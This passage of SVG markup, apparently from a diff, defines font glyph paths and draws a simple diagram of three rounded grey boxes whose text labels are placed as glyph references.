10.3125 -0.921875 L 10.296875 -0.96875 L 10.203125 -0.96875 Z M 10.453125 -0.890625 C 10.515625 -0.890625 10.546875 -0.835938 10.546875 -0.734375 C 10.546875 -0.628906 10.503906 -0.578125 10.421875 -0.578125 C 10.398438 -0.578125 10.375 -0.585938 10.34375 -0.609375 L 10.34375 -0.796875 C 10.34375 -0.859375 10.378906 -0.890625 10.453125 -0.890625 Z M 11.15625 -0.609375 C 11.132812 -0.585938 11.09375 -0.578125 11.03125 -0.578125 C 10.945312 -0.578125 10.898438 -0.613281 10.890625 -0.6875 L 11.234375 -0.6875 L 11.234375 -0.796875 C 11.234375 -0.867188 11.210938 -0.921875 11.171875 -0.953125 C 11.128906 -0.984375 11.078125 -1 11.015625 -1 C 10.847656 -1 10.765625 -0.90625 10.765625 -0.71875 C 10.765625 -0.550781 10.847656 -0.46875 11.015625 -0.46875 C 11.054688 -0.46875 11.09375 -0.472656 11.125 -0.484375 C 11.164062 -0.492188 11.195312 -0.507812 11.21875 -0.53125 Z M 11.015625 -0.890625 C 11.085938 -0.890625 11.117188 -0.851562 11.109375 -0.78125 L 10.90625 -0.78125 C 10.90625 -0.851562 10.941406 -0.890625 11.015625 -0.890625 Z M 11.015625 -0.890625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-1"> +<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.484375 C 5.6875 -6.328125 5.585938 -6.96875 5.390625 -7.40625 C 5.191406 -7.851562 4.796875 -8.078125 4.203125 -8.078125 C 3.785156 -8.078125 3.40625 -7.925781 3.0625 -7.625 C 2.71875 -7.320312 2.484375 -6.941406 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -12.640625 L 2.359375 -12.640625 L 2.359375 -8.1875 L 2.421875 -8.1875 C 2.660156 -8.5 2.957031 -8.753906 3.3125 -8.953125 C 3.664062 -9.148438 4.109375 -9.25 4.640625 -9.25 C 5.035156 -9.25 5.378906 -9.191406 5.671875 -9.078125 C 5.972656 -8.972656 6.21875 -8.785156 6.40625 -8.515625 C 6.601562 -8.253906 6.75 -7.90625 6.84375 -7.46875 C 6.9375 -7.03125 6.984375 -6.484375 6.984375 -5.828125 L 6.984375 0 Z M 5.6875 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-2"> +<path style="stroke:none;" d="M 0.96875 -8.484375 C 1.320312 -8.703125 1.75 -8.867188 2.25 -8.984375 C 2.75 -9.109375 3.273438 -9.171875 3.828125 -9.171875 C 4.335938 -9.171875 4.742188 -9.09375 5.046875 -8.9375 C 5.359375 -8.789062 5.597656 -8.585938 5.765625 -8.328125 C 5.941406 -8.078125 6.054688 -7.785156 6.109375 -7.453125 C 6.171875 -7.117188 6.203125 -6.769531 6.203125 -6.40625 C 6.203125 -5.6875 6.1875 -4.984375 6.15625 -4.296875 C 6.125 -3.609375 6.109375 -2.957031 6.109375 -2.34375 C 6.109375 -1.882812 6.125 -1.457031 6.15625 -1.0625 C 6.1875 -0.675781 6.242188 -0.3125 6.328125 0.03125 L 5.328125 0.03125 L 5.015625 -1.03125 L 4.953125 -1.03125 C 4.765625 -0.71875 4.492188 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.332031 0.125 2.75 0.125 C 2.09375 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.734375 -1.003906 0.53125 -1.628906 0.53125 -2.421875 C 0.53125 -2.941406 0.613281 -3.375 0.78125 -3.71875 C 0.957031 -4.070312 1.203125 -4.351562 1.515625 -4.5625 C 1.835938 -4.78125 2.21875 -4.9375 2.65625 -5.03125 C 3.101562 -5.125 3.597656 -5.171875 4.140625 -5.171875 C 4.253906 -5.171875 4.367188 -5.171875 4.484375 -5.171875 C 4.609375 -5.171875 4.738281 -5.160156 4.875 -5.140625 C 4.914062 -5.515625 4.9375 -5.847656 4.9375 -6.140625 C 4.9375 -6.828125 4.832031 -7.304688 4.625 -7.578125 C 4.414062 -7.859375 4.039062 -8 3.5 -8 C 3.164062 -8 2.800781 -7.945312 2.40625 -7.84375 C 2.007812 -7.738281 1.675781 -7.609375 1.40625 -7.453125 Z M 4.890625 -4.125 C 4.773438 -4.132812 4.65625 -4.140625 4.53125 -4.140625 C 4.414062 -4.148438 4.296875 -4.15625 4.171875 -4.15625 C 3.878906 -4.15625 3.59375 -4.128906 3.3125 -4.078125 C 3.039062 -4.035156 2.796875 -3.953125 2.578125 -3.828125 C 2.367188 -3.710938 2.195312 -3.550781 2.0625 -3.34375 C 1.9375 -3.132812 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.765625 -1.046875 3.140625 -1.046875 C 3.648438 -1.046875 4.039062 -1.164062 4.3125 -1.40625 C 4.59375 -1.644531 4.785156 -1.910156 4.890625 -2.203125 Z M 4.890625 -4.125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-3"> +<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.515625 C 5.6875 -6.410156 5.582031 -7.0625 5.375 -7.46875 C 5.164062 -7.875 4.789062 -8.078125 4.25 -8.078125 C 3.757812 -8.078125 3.359375 -7.929688 3.046875 -7.640625 C 2.734375 -7.347656 2.503906 -6.992188 2.359375 -6.578125 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 2 -9.03125 L 2.234375 -8.078125 L 2.296875 -8.078125 C 2.523438 -8.398438 2.832031 -8.675781 3.21875 -8.90625 C 3.613281 -9.132812 4.082031 -9.25 4.625 -9.25 C 5.007812 -9.25 5.347656 -9.191406 5.640625 -9.078125 C 5.941406 -8.972656 6.191406 -8.789062 6.390625 -8.53125 C 6.585938 -8.269531 6.734375 -7.921875 6.828125 -7.484375 C 6.929688 -7.054688 6.984375 -6.515625 6.984375 -5.859375 L 6.984375 0 Z M 5.6875 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-4"> +<path style="stroke:none;" d="M 6.75 -3.109375 C 6.75 -2.492188 6.753906 -1.9375 6.765625 -1.4375 C 6.785156 -0.9375 6.832031 -0.445312 6.90625 0.03125 L 6.015625 0.03125 L 5.71875 -1.046875 L 5.65625 -1.046875 C 5.488281 -0.679688 5.222656 -0.378906 4.859375 -0.140625 C 4.492188 0.0976562 4.0625 0.21875 3.5625 0.21875 C 2.582031 0.21875 1.851562 -0.160156 1.375 -0.921875 C 0.90625 -1.679688 0.671875 -2.875 0.671875 -4.5 C 0.671875 -6.039062 0.960938 -7.207031 1.546875 -8 C 2.128906 -8.789062 2.929688 -9.1875 3.953125 -9.1875 C 4.304688 -9.1875 4.582031 -9.164062 4.78125 -9.125 C 4.988281 -9.082031 5.210938 -9.015625 5.453125 -8.921875 L 5.453125 -12.640625 L 6.75 -12.640625 Z M 5.453125 -7.609375 C 5.285156 -7.753906 5.09375 -7.859375 4.875 -7.921875 C 4.664062 -7.984375 4.390625 -8.015625 4.046875 -8.015625 C 3.410156 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.679688 2.015625 -4.484375 C 2.015625 -3.953125 2.046875 -3.472656 2.109375 -3.046875 C 2.179688 -2.617188 2.285156 -2.25 2.421875 -1.9375 C 2.566406 -1.625 2.75 -1.378906 2.96875 -1.203125 C 3.195312 -1.035156 3.472656 -0.953125 3.796875 -0.953125 C 4.660156 -0.953125 5.210938 -1.46875 5.453125 -2.5 Z M 5.453125 -7.609375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-5"> +<path style="stroke:none;" d="M 2.453125 -2.15625 C 2.453125 -1.726562 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.898438 -0.96875 3.109375 -0.96875 C 3.359375 -0.96875 3.648438 -1.035156 3.984375 -1.171875 L 4.125 -0.125 C 3.96875 -0.03125 3.742188 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.507812 1.15625 -1.007812 1.15625 -1.71875 L 1.15625 -12.640625 L 2.453125 -12.640625 Z M 2.453125 -2.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-6"> +<path style="stroke:none;" d="M 6.46875 -0.609375 C 6.175781 -0.347656 5.804688 -0.144531 5.359375 0 C 4.921875 0.144531 4.453125 0.21875 3.953125 0.21875 C 3.390625 0.21875 2.898438 0.109375 2.484375 -0.109375 C 2.066406 -0.335938 1.722656 -0.660156 1.453125 -1.078125 C 1.179688 -1.492188 0.984375 -1.988281 0.859375 -2.5625 C 0.734375 -3.144531 0.671875 -3.796875 0.671875 -4.515625 C 0.671875 -6.054688 0.953125 -7.226562 1.515625 -8.03125 C 2.078125 -8.84375 2.878906 -9.25 3.921875 -9.25 C 4.253906 -9.25 4.585938 -9.207031 4.921875 -9.125 C 5.253906 -9.039062 5.550781 -8.867188 5.8125 -8.609375 C 6.082031 -8.359375 6.296875 -8.003906 6.453125 -7.546875 C 6.617188 -7.085938 6.703125 -6.492188 6.703125 -5.765625 C 6.703125 -5.554688 6.691406 -5.332031 6.671875 -5.09375 C 6.648438 -4.863281 6.628906 -4.625 6.609375 -4.375 L 2.015625 -4.375 C 2.015625 -3.851562 2.054688 -3.378906 2.140625 -2.953125 C 2.234375 -2.535156 2.367188 -2.175781 2.546875 -1.875 C 2.722656 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.523438 -1.03125 3.878906 -0.953125 4.296875 -0.953125 C 4.617188 -0.953125 4.941406 -1.007812 5.265625 -1.125 C 5.585938 -1.25 5.832031 -1.398438 6 -1.578125 Z M 5.453125 -5.453125 C 5.472656 -6.359375 5.34375 -7.019531 5.0625 -7.4375 C 4.789062 -7.863281 4.414062 -8.078125 3.9375 -8.078125 C 3.382812 -8.078125 2.941406 -7.863281 2.609375 -7.4375 C 2.285156 -7.019531 2.097656 -6.359375 2.046875 -5.453125 Z M 5.453125 -5.453125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-7"> +<path style="stroke:none;" d="M 1.15625 -12.515625 C 1.550781 -12.609375 1.984375 -12.675781 2.453125 -12.71875 C 2.929688 -12.757812 3.375 -12.78125 3.78125 -12.78125 C 4.25 -12.78125 4.691406 -12.722656 5.109375 -12.609375 C 5.535156 -12.492188 5.90625 -12.300781 6.21875 -12.03125 C 6.53125 -11.757812 6.78125 -11.40625 6.96875 -10.96875 C 7.15625 -10.53125 7.25 -9.976562 7.25 -9.3125 C 7.25 -8.320312 7.039062 -7.523438 6.625 -6.921875 C 6.207031 -6.316406 5.65625 -5.910156 4.96875 -5.703125 L 5.65625 -5.046875 L 8.140625 0 L 6.578125 0 L 3.859375 -5.515625 L 2.515625 -5.78125 L 2.515625 0 L 1.15625 0 Z M 2.515625 -6.6875 L 3.59375 -6.6875 C 4.28125 -6.6875 4.820312 -6.894531 5.21875 -7.3125 C 5.613281 -7.738281 5.8125 -8.382812 5.8125 -9.25 C 5.8125 -9.90625 5.644531 -10.453125 5.3125 -10.890625 C 4.988281 -11.328125 4.5 -11.546875 3.84375 -11.546875 C 3.601562 -11.546875 3.351562 -11.535156 3.09375 -11.515625 C 2.832031 -11.492188 2.640625 -11.46875 2.515625 -11.4375 Z M 2.515625 -6.6875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-8"> +<path style="stroke:none;" d="M 6.75 3.609375 L 5.453125 3.609375 L 5.453125 -0.734375 L 5.375 -0.734375 C 5.1875 -0.429688 4.941406 -0.195312 4.640625 -0.03125 C 4.347656 0.132812 3.96875 0.21875 3.5 0.21875 C 2.550781 0.21875 1.84375 -0.160156 1.375 -0.921875 C 0.90625 -1.691406 0.671875 -2.878906 0.671875 -4.484375 C 0.671875 -6.035156 0.976562 -7.207031 1.59375 -8 C 2.207031 -8.789062 3.097656 -9.1875 4.265625 -9.1875 C 4.765625 -9.1875 5.242188 -9.125 5.703125 -9 C 6.160156 -8.882812 6.507812 -8.765625 6.75 -8.640625 Z M 5.453125 -7.71875 C 5.117188 -7.914062 4.644531 -8.015625 4.03125 -8.015625 C 3.40625 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.6875 2.015625 -4.5 C 2.015625 -3.988281 2.046875 -3.515625 2.109375 -3.078125 C 2.171875 -2.648438 2.269531 -2.273438 2.40625 -1.953125 C 2.550781 -1.640625 2.734375 -1.394531 2.953125 -1.21875 C 3.171875 -1.039062 3.445312 -0.953125 3.78125 -0.953125 C 4.238281 -0.953125 4.597656 -1.082031 4.859375 -1.34375 C 5.117188 -1.613281 5.316406 -2.003906 5.453125 -2.515625 Z M 5.453125 -7.71875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-9"> +<path style="stroke:none;" d="M 2.234375 -9.03125 L 2.234375 -3.5 C 2.234375 -2.582031 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.046875 -0.953125 3.546875 -0.953125 C 3.796875 -0.953125 4.019531 -1.003906 4.21875 -1.109375 C 4.414062 -1.210938 4.59375 -1.347656 4.75 -1.515625 C 4.90625 -1.679688 5.039062 -1.875 5.15625 -2.09375 C 5.28125 -2.3125 5.378906 -2.535156 5.453125 -2.765625 L 5.453125 -9.03125 L 6.75 -9.03125 L 6.75 -2.5625 C 6.75 -2.132812 6.765625 -1.6875 6.796875 -1.21875 C 6.828125 -0.757812 6.875 -0.351562 6.9375 0 L 6.015625 0 L 5.6875 -1.265625 L 5.640625 -1.265625 C 5.429688 -0.867188 5.132812 -0.519531 4.75 -0.21875 C 4.363281 0.0703125 3.882812 0.21875 3.3125 0.21875 C 2.925781 0.21875 2.585938 0.164062 2.296875 0.0625 C 2.003906 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.347656 -0.703125 1.195312 -1.046875 1.09375 -1.484375 C 0.988281 -1.929688 0.9375 -2.492188 0.9375 -3.171875 L 0.9375 -9.03125 Z M 2.234375 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-10"> +<path style="stroke:none;" d="M 0.921875 -1.484375 C 1.160156 -1.335938 1.445312 -1.210938 1.78125 -1.109375 C 2.113281 -1.003906 2.453125 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.53125 -1.050781 3.8125 -1.25 C 4.09375 -1.445312 4.234375 -1.769531 4.234375 -2.21875 C 4.234375 -2.59375 4.144531 -2.898438 3.96875 -3.140625 C 3.800781 -3.378906 3.585938 -3.59375 3.328125 -3.78125 C 3.066406 -3.976562 2.785156 -4.15625 2.484375 -4.3125 C 2.191406 -4.476562 1.914062 -4.675781 1.65625 -4.90625 C 1.394531 -5.132812 1.179688 -5.40625 1.015625 -5.71875 C 0.847656 -6.039062 0.765625 -6.441406 0.765625 -6.921875 C 0.765625 -7.691406 0.96875 -8.269531 1.375 -8.65625 C 1.789062 -9.050781 2.378906 -9.25 3.140625 -9.25 C 3.640625 -9.25 4.066406 -9.203125 4.421875 -9.109375 C 4.785156 -9.023438 5.097656 -8.90625 5.359375 -8.75 L 5.015625 -7.65625 C 4.785156 -7.78125 4.519531 -7.878906 4.21875 -7.953125 C 3.925781 -8.035156 3.625 -8.078125 3.3125 -8.078125 C 2.875 -8.078125 2.554688 -7.984375 2.359375 -7.796875 C 2.160156 -7.617188 2.0625 -7.335938 2.0625 -6.953125 C 2.0625 -6.648438 2.144531 -6.394531 2.3125 -6.1875 C 2.476562 -5.976562 2.691406 -5.785156 2.953125 -5.609375 C 3.210938 -5.429688 3.492188 -5.25 3.796875 -5.0625 C 4.097656 -4.882812 4.375 -4.671875 4.625 -4.421875 C 4.882812 -4.179688 5.097656 -3.890625 5.265625 -3.546875 C 5.441406 -3.203125 5.53125 -2.773438 5.53125 -2.265625 C 5.53125 -1.921875 5.472656 -1.597656 5.359375 -1.296875 C 5.253906 -0.992188 5.085938 -0.734375 4.859375 -0.515625 C 4.640625 -0.296875 4.363281 -0.117188 4.03125 0.015625 C 3.707031 0.148438 3.320312 0.21875 2.875 0.21875 C 2.34375 0.21875 1.882812 0.164062 1.5 0.0625 C 1.113281 -0.0390625 0.789062 -0.175781 0.53125 -0.34375 Z M 0.921875 -1.484375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-11"> +<path style="stroke:none;" d="M 0.15625 -9.03125 L 1.265625 -9.03125 L 1.265625 -10.8125 L 2.5625 -11.234375 L 2.5625 -9.03125 L 4.515625 -9.03125 L 4.515625 -7.859375 L 2.5625 -7.859375 L 2.5625 -2.46875 C 2.5625 -1.945312 2.625 -1.566406 2.75 -1.328125 C 2.875 -1.085938 3.082031 -0.96875 3.375 -0.96875 C 3.613281 -0.96875 3.820312 -0.992188 4 -1.046875 C 4.175781 -1.109375 4.363281 -1.179688 4.5625 -1.265625 L 4.828125 -0.234375 C 4.554688 -0.0976562 4.257812 0.00390625 3.9375 0.078125 C 3.625 0.160156 3.289062 0.203125 2.9375 0.203125 C 2.34375 0.203125 1.914062 0.0078125 1.65625 -0.375 C 1.394531 -0.769531 1.265625 -1.410156 1.265625 -2.296875 L 1.265625 -7.859375 L 0.15625 -7.859375 Z M 0.15625 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-12"> +<path style="stroke:none;" d="M 3.3125 3.96875 C 2.851562 3.394531 2.46875 2.757812 2.15625 2.0625 C 1.851562 1.375 1.601562 0.664062 1.40625 -0.0625 C 1.21875 -0.789062 1.078125 -1.523438 0.984375 -2.265625 C 0.898438 -3.003906 0.859375 -3.710938 0.859375 -4.390625 C 0.859375 -5.046875 0.898438 -5.742188 0.984375 -6.484375 C 1.078125 -7.222656 1.21875 -7.960938 1.40625 -8.703125 C 1.601562 -9.441406 1.859375 -10.164062 2.171875 -10.875 C 2.492188 -11.582031 2.882812 -12.242188 3.34375 -12.859375 L 4.15625 -12.375 C 3.769531 -11.757812 3.445312 -11.113281 3.1875 -10.4375 C 2.9375 -9.757812 2.734375 -9.070312 2.578125 -8.375 C 2.429688 -7.6875 2.328125 -7.003906 2.265625 -6.328125 C 2.203125 -5.648438 2.171875 -5.003906 2.171875 -4.390625 C 2.171875 -3.804688 2.207031 -3.164062 2.28125 -2.46875 C 2.351562 -1.78125 2.46875 -1.085938 2.625 -0.390625 C 2.789062 0.304688 3 0.984375 3.25 1.640625 C 3.5 2.304688 3.800781 2.90625 4.15625 3.4375 Z M 3.3125 3.96875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-13"> +<path style="stroke:none;" d="M 3.546875 0.21875 C 3.015625 0.195312 2.546875 0.140625 2.140625 0.046875 C 1.734375 -0.0351562 1.398438 -0.160156 1.140625 -0.328125 L 1.546875 -1.546875 C 1.742188 -1.421875 2.007812 -1.296875 2.34375 -1.171875 C 2.6875 -1.054688 3.085938 -0.984375 3.546875 -0.953125 L 3.546875 -6.09375 C 3.242188 -6.28125 2.945312 -6.484375 2.65625 -6.703125 C 2.375 -6.921875 2.125 -7.171875 1.90625 -7.453125 C 1.6875 -7.742188 1.503906 -8.078125 1.359375 -8.453125 C 1.222656 -8.835938 1.15625 -9.289062 1.15625 -9.8125 C 1.15625 -10.601562 1.351562 -11.265625 1.75 -11.796875 C 2.15625 -12.335938 2.753906 -12.675781 3.546875 -12.8125 L 3.546875 -14.453125 L 4.640625 -14.453125 L 4.640625 -12.84375 C 5.109375 -12.820312 5.5 -12.773438 5.8125 -12.703125 C 6.125 -12.640625 6.421875 -12.539062 6.703125 -12.40625 L 6.28125 -11.234375 C 6.082031 -11.335938 5.851562 -11.425781 5.59375 -11.5 C 5.34375 -11.582031 5.023438 -11.640625 4.640625 -11.671875 L 4.640625 -7.015625 C 4.941406 -6.804688 5.242188 -6.585938 5.546875 -6.359375 C 5.847656 -6.128906 6.113281 -5.863281 6.34375 -5.5625 C 6.582031 -5.269531 6.773438 -4.929688 6.921875 -4.546875 C 7.066406 -4.171875 7.140625 -3.734375 7.140625 -3.234375 C 7.140625 -2.367188 6.925781 -1.632812 6.5 -1.03125 C 6.070312 -0.425781 5.453125 -0.0390625 4.640625 0.125 L 4.640625 1.8125 L 3.546875 1.8125 Z M 4.359375 -1.03125 C 4.785156 -1.125 5.128906 -1.347656 5.390625 -1.703125 C 5.648438 -2.054688 5.78125 -2.535156 5.78125 -3.140625 C 5.78125 -3.722656 5.640625 -4.191406 5.359375 -4.546875 C 5.085938 -4.910156 4.753906 -5.238281 4.359375 -5.53125 Z M 3.828125 -11.625 C 3.335938 -11.53125 2.992188 -11.304688 2.796875 -10.953125 C 2.609375 -10.609375 2.515625 -10.242188 2.515625 -9.859375 C 2.515625 -9.328125 2.632812 -8.882812 2.875 -8.53125 C 3.125 -8.1875 3.441406 -7.875 3.828125 -7.59375 Z M 3.828125 -11.625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-14"> +<path style="stroke:none;" d="M 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.445312 -8.421875 2.664062 -8.691406 2.9375 -8.890625 C 3.207031 -9.085938 3.535156 -9.1875 3.921875 -9.1875 C 4.191406 -9.1875 4.503906 -9.132812 4.859375 -9.03125 L 4.609375 -7.71875 C 4.296875 -7.820312 4.019531 -7.875 3.78125 -7.875 C 3.394531 -7.875 3.078125 -7.757812 2.828125 -7.53125 C 2.585938 -7.3125 2.429688 -7.015625 2.359375 -6.640625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-15"> +<path style="stroke:none;" d="M 0.859375 3.4375 C 1.210938 2.90625 1.515625 2.304688 1.765625 1.640625 C 2.023438 0.984375 2.234375 0.304688 2.390625 -0.390625 C 2.554688 -1.085938 2.675781 -1.78125 2.75 -2.46875 C 2.820312 -3.164062 2.859375 -3.804688 2.859375 -4.390625 C 2.859375 -5.003906 2.820312 -5.648438 2.75 -6.328125 C 2.6875 -7.003906 2.578125 -7.6875 2.421875 -8.375 C 2.273438 -9.070312 2.070312 -9.757812 1.8125 -10.4375 C 1.550781 -11.113281 1.234375 -11.757812 0.859375 -12.375 L 1.6875 -12.859375 C 2.132812 -12.242188 2.519531 -11.582031 2.84375 -10.875 C 3.164062 -10.164062 3.421875 -9.441406 3.609375 -8.703125 C 3.804688 -7.960938 3.945312 -7.222656 4.03125 -6.484375 C 4.113281 -5.742188 4.15625 -5.046875 4.15625 -4.390625 C 4.15625 -3.710938 4.113281 -3.003906 4.03125 -2.265625 C 3.945312 -1.523438 3.804688 -0.789062 3.609375 -0.0625 C 3.421875 0.664062 3.171875 1.375 2.859375 2.0625 C 2.546875 2.757812 2.164062 3.394531 1.71875 3.96875 Z M 0.859375 3.4375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-16"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph1-17"> +<path style="stroke:none;" d="M 1.15625 -12.640625 C 1.34375 -12.679688 1.554688 -12.707031 1.796875 -12.71875 C 2.035156 -12.738281 2.273438 -12.75 2.515625 -12.75 C 2.753906 -12.757812 2.988281 -12.765625 3.21875 -12.765625 C 3.457031 -12.773438 3.679688 -12.78125 3.890625 -12.78125 C 4.765625 -12.78125 5.507812 -12.628906 6.125 -12.328125 C 6.738281 -12.035156 7.238281 -11.609375 7.625 -11.046875 C 8.007812 -10.484375 8.285156 -9.8125 8.453125 -9.03125 C 8.617188 -8.25 8.703125 -7.375 8.703125 -6.40625 C 8.703125 -5.539062 8.617188 -4.710938 8.453125 -3.921875 C 8.296875 -3.128906 8.023438 -2.429688 7.640625 -1.828125 C 7.253906 -1.222656 6.742188 -0.738281 6.109375 -0.375 C 5.484375 -0.0195312 4.691406 0.15625 3.734375 0.15625 C 3.578125 0.15625 3.378906 0.148438 3.140625 0.140625 C 2.898438 0.140625 2.648438 0.128906 2.390625 0.109375 C 2.128906 0.0976562 1.890625 0.0820312 1.671875 0.0625 C 1.453125 0.0507812 1.28125 0.0351562 1.15625 0.015625 Z M 3.953125 -11.546875 C 3.835938 -11.546875 3.707031 -11.546875 3.5625 -11.546875 C 3.425781 -11.546875 3.289062 -11.535156 3.15625 -11.515625 C 3.03125 -11.503906 2.910156 -11.492188 2.796875 -11.484375 C 2.679688 -11.472656 2.585938 -11.460938 2.515625 -11.453125 L 2.515625 -1.15625 C 2.554688 -1.144531 2.640625 -1.132812 2.765625 -1.125 C 2.898438 -1.125 3.035156 -1.117188 3.171875 -1.109375 C 3.304688 -1.109375 3.4375 -1.101562 3.5625 -1.09375 C 3.6875 -1.082031 3.78125 -1.078125 3.84375 -1.078125 C 4.507812 -1.078125 5.0625 -1.222656 5.5 -1.515625 C 5.945312 -1.804688 6.300781 -2.191406 6.5625 -2.671875 C 6.820312 -3.160156 7.003906 -3.726562 7.109375 -4.375 C 7.222656 -5.019531 7.28125 -5.707031 7.28125 -6.4375 C 7.28125 -7.070312 7.226562 -7.695312 7.125 -8.3125 C 7.03125 -8.925781 6.859375 -9.46875 6.609375 -9.9375 C 6.367188 -10.414062 6.035156 -10.800781 5.609375 -11.09375 C 5.179688 -11.394531 4.628906 -11.546875 3.953125 -11.546875 Z M 3.953125 -11.546875 "/> +</symbol> +</g> +</defs> +<g id="surface33203"> +<rect x="0" y="0" width="561" height="441" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/> +<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 9 9 L 37 9 L 37 31 L 9 31 Z M 9 9 " transform="matrix(20,0,0,20,-179,-179)"/> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 15 C 16.134375 15 16 15.134375 16 15.3 L 16 17.885352 C 16 18.050977 16.134375 18.185352 16.3 18.185352 L 23.7 18.185352 C 23.865625 18.185352 24 18.050977 24 17.885352 L 24 15.3 C 24 15.134375 23.865625 15 23.7 15 Z M 16.3 15 " transform="matrix(20,0,0,20,-179,-179)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="186.976562" y="160.853733"/> + <use xlink:href="#glyph0-2" x="197.809896" y="160.853733"/> + <use xlink:href="#glyph0-3" x="206.143229" y="160.853733"/> + <use xlink:href="#glyph0-4" x="217.809896" y="160.853733"/> + <use xlink:href="#glyph0-5" x="222.25434" y="160.853733"/> + <use xlink:href="#glyph0-6" x="227.25434" y="160.853733"/> + <use xlink:href="#glyph0-7" x="236.143229" y="160.853733"/> + <use xlink:href="#glyph0-8" x="241.698785" y="160.853733"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.3 15 C 28.134375 15 28 15.134375 28 15.3 L 28 17.885352 C 28 18.050977 28.134375 18.185352 28.3 18.185352 L 35.7 18.185352 C 35.865625 18.185352 36 18.050977 36 17.885352 L 36 15.3 C 36 15.134375 35.865625 15 35.7 15 Z M 28.3 15 " transform="matrix(20,0,0,20,-179,-179)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-9" x="395.589844" y="160.853733"/> + <use xlink:href="#glyph0-7" x="404.200955" y="160.853733"/> + <use xlink:href="#glyph0-2" x="409.75651" y="160.853733"/> + <use xlink:href="#glyph0-10" x="418.089844" y="160.853733"/> + <use xlink:href="#glyph0-6" x="426.978733" y="160.853733"/> + <use xlink:href="#glyph0-10" x="435.867622" y="160.853733"/> + <use xlink:href="#glyph0-11" x="444.75651" y="160.853733"/> + <use xlink:href="#glyph0-12" x="453.645399" y="160.853733"/> + <use xlink:href="#glyph0-13" x="458.367622" y="160.853733"/> + <use xlink:href="#glyph0-14" x="466.423177" y="160.853733"/> + <use xlink:href="#glyph0-2" x="471.978733" y="160.853733"/> + <use xlink:href="#glyph0-15" x="480.312066" y="160.853733"/> + <use xlink:href="#glyph0-4" x="489.200955" y="160.853733"/> + <use xlink:href="#glyph0-5" x="493.645399" y="160.853733"/> + <use xlink:href="#glyph0-6" x="498.645399" y="160.853733"/> + <use xlink:href="#glyph0-7" x="507.534288" y="160.853733"/> + <use xlink:href="#glyph0-8" x="513.089844" y="160.853733"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.3 27 C 22.134375 27 22 27.134375 22 27.3 L 22 29.885352 C 22 30.050977 22.134375 30.185352 22.3 30.185352 L 29.7 30.185352 C 29.865625 30.185352 30 30.050977 30 29.885352 L 30 27.3 C 30 27.134375 29.865625 27 29.7 27 Z M 22.3 27 " transform="matrix(20,0,0,20,-179,-179)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-16" x="286.15625" y="400.853733"/> + <use xlink:href="#glyph0-11" x="294.767361" y="400.853733"/> + <use xlink:href="#glyph0-17" x="303.65625" y="400.853733"/> + <use xlink:href="#glyph0-8" x="312.545139" y="400.853733"/> + <use xlink:href="#glyph0-18" x="325.878472" y="400.853733"/> + <use xlink:href="#glyph0-14" x="330.322917" y="400.853733"/> + <use xlink:href="#glyph0-14" x="335.878472" y="400.853733"/> + <use xlink:href="#glyph0-2" x="341.434028" y="400.853733"/> + <use xlink:href="#glyph0-15" x="349.767361" 